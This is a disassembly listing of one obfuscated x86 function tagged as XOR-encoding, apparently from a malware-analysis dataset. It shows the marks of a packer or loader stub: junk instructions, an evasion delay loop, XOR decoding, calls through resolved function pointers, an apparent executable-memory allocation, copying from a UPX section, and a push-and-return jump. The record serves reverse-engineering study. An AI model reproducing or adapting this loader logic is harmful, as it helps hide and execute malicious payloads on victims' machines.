Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xce1a2318
not esi
add eax, esi
popal
mov esi, 0xa24a3fac
not esi
mov ebx, 0
mov edi, eax
add esi, 0x96812a4b
mov edx, 0x1c29391e
dec esi
mov ecx, edi
sub edx, esi
and esi, edx
sub esi, 1
mov eax, ecx
add edx, edx
inc edx
and edx, edx
add ebx, 1
mov esi, edx
inc edx
add esi, 0x61efd282
cmp ebx, 0x10029cd
jne 0xa789c3
mov esi, edx
add esi, esi
or edx, edx
add esi, 0xee1b58e2
mov eax, 0xfd2a16f8
mov ecx, 0xa78796
mov ebx, 0x2b070792
add eax, 0x83edc46b
add ebx, 0xbe148873
mov esi, 0xa7898a
dec edx
inc eax
mov edi, dword [ecx]
sub edx, 0xdc6b141d
add edx, eax
not ebx
and edi, 0xff
add ebx, eax
add ebx, eax
xor dword [esi], edi
sub eax, 0x7b2cfa55
sub edx, eax
add edx, 0x734a3cdd
add esi, 1
mov ebx, edx
or edx, ebx
add ebx, eax
inc ecx
dec ebx
mov eax, 0x715f2d1e
cmp esi, entry0
jl 0xa78a2d
sub ebx, edx
mov ebx, 0x42866686
mov edx, 0x73e1d34f
sub edx, 0x4bba9be7
sub ebx, 0x79fa9e57
dec esi
dec esi
dec ecx
mov ebx, 0xa7898e
add esi, 0x83bfea3f
mov esi, 0x6245dba2
mov edx, 0x956130d5
mov ebx, dword [ebx]
sub ecx, edi
and edx, ecx
not edx
mov ebx, dword [ebx]
mov ecx, edx
sub esi, ecx
push ebx
mov edi, 0xf6082112
mov ecx, 0x9b461bed
mov ebx, 0xa7898a
add edx, edi
add edx, esi
add esi, esi
mov ebx, dword [ebx]
and edi, ecx
dec edi
mov ebx, dword [ebx]
add edx, edx
inc edx
not edx
push 0xa78992
or edi, edi
or edx, edx
call ebx
mov esi, 0x1140d9c6
mov edi, ecx
sub esi, 0x9589a053
mov ebx, dword [esp]
add esp, 4
mov esi, 0x758d42f
sub edi, esi
mov edi, 0x5031b86c
push 0xa7899f
sub edx, 0x3593b80d
add edx, 0x86a44266
push eax
mov edi, ecx
sub edi, 0x9f449ef8
inc edx
call ebx
not edi
not edx
push 0x40
inc edx
or edx, ecx
push 0x3000
and ecx, ecx
and esi, esi
add edi, esi
push 0x2000016e
not esi
dec edx
mov esi, 0x7cbb0ef5
push 0
sub edx, 0x2e6654e9
not ecx
call eax
inc esi
not edi
sub ecx, 0x96930aa7
add eax, 0x200000f2
sub edx, 0xd331383
sub edi, edx
mov ebx, 0xb3535cd0
add edx, 0x565c5d2e
mov esi, ecx
mov dword [eax], ebx
dec edi
sub edi, 0x73343cca
mov ebx, dword [eax]
not edx
and edx, edi
sub ecx, 0xe2e8165a
cmp ebx, 0xb3535cd0
je 0xa78b94
mov edx, 0
mov dword [edx], eax
mov edx, 0x27ee6d82
add esi, 0xd9f3c7e9
or esi, ecx
or edi, edi
mov esi, 0x86cfec0c
not eax
mov eax, 0xf8137fc
sub eax, esi
mov edi, section.UPX1
dec eax
sub eax, 0x49555735
mov ebx, 0xa78795
sub esi, 0x5cd25d23
inc eax
mov ecx, 0
sub eax, 1
sub esi, 0xa08a0050
mov edx, 0xa78796
dec eax
mov esi, eax
lea edx, [edx + ecx]
add esi, 0xe9d20806
and eax, esi
sub eax, 0x2a9a6894
mov edx, dword [edx]
mov esi, 0xf89ed23d
mov eax, 0xa6ff1643
inc eax
and edx, 0xff
add eax, 1
dec eax
add ecx, 1
add esi, eax
inc eax
sub eax, esi
cmp ecx, 0x1f4
jne 0xa78c25
mov ecx, 0
mov esi, 0xe4d9a25c
add esi, eax
and eax, esi
and esi, esi
xor dword [edi], edx
add esi, eax
sub esi, eax
add edi, 2
mov esi, eax
and eax, esi
cmp edi, ebx
jl 0xa78bda
and esi, eax
sub eax, 1
add eax, esi
add esi, 0xf2870dde
mov esi, section.UPX1
or edi, edi
or ecx, edi
sub edi, 0x2cf5e1f7
mov eax, section.UPX1
add edi, edi
sub edi, 0xd428839d
mov ebx, 0xa78795
add ecx, edi
or ecx, edi
sub edi, 0xab8275a0
mov edx, 0
add ecx, edi
dec ecx
add edi, ecx
mov dl, byte [eax]
dec ecx
not ecx
mov byte [esi], dl
add ecx, ecx
dec edi
inc esi
add ecx, 0x99bdbff8
not ecx
add eax, 2
add ecx, 0xe704647f
dec edi
mov edi, 0x69703b94
cmp eax, ebx
jle 0xa78c8d
inc edi
sub edi, ecx
or eax, esi
add eax, 0x8e14deb4
push 0x8dc6a0
and esi, eax
sub eax, esi
ret